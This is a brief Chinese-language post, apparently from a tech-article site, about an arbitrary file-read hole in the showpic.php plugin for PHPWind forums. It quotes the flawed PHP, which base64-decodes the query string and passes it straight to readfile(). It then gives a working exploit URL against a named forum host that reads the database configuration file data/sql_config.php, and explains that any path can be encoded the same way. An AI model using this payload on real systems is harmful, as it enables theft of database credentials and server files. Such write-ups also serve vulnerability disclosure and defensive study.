showpic.php
str=$_SERVER['QUERY_STRING'];
$img=base64_decode($str);
$codelen=strlen($safeguard);//获取附加码长度
$img=substr($img,$codelen); //去掉附加码
readfile($img);

提交的参数经过base64编码后直接用readfile读文件,所以可以把路径base64编码后提交,以读出文件内容

漏洞利用方式:

http://bbs.5617.com/showpic.php?ZGF0YS9zcWxfY29uZmlnLnBocA==

然后查看源文件。

这里的ZGF0YS9zcWxfY29uZmlnLnBocA== 是路径data/sql_config.php的BASE64编码。
你也可以改为其他路径文件的。BASE64编码就可以看到文件内容了。

PHPWind 论坛 (showpic.php)插件漏洞

相关文章:

  • 2021-12-03
  • 2021-09-08
  • 2022-12-23
  • 2021-11-23
  • 2021-10-29
  • 2021-11-06
  • 2021-11-21
猜你喜欢
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2021-10-04
  • 2021-12-30
  • 2021-06-09
  • 2022-12-23
相关资源
相似解决方案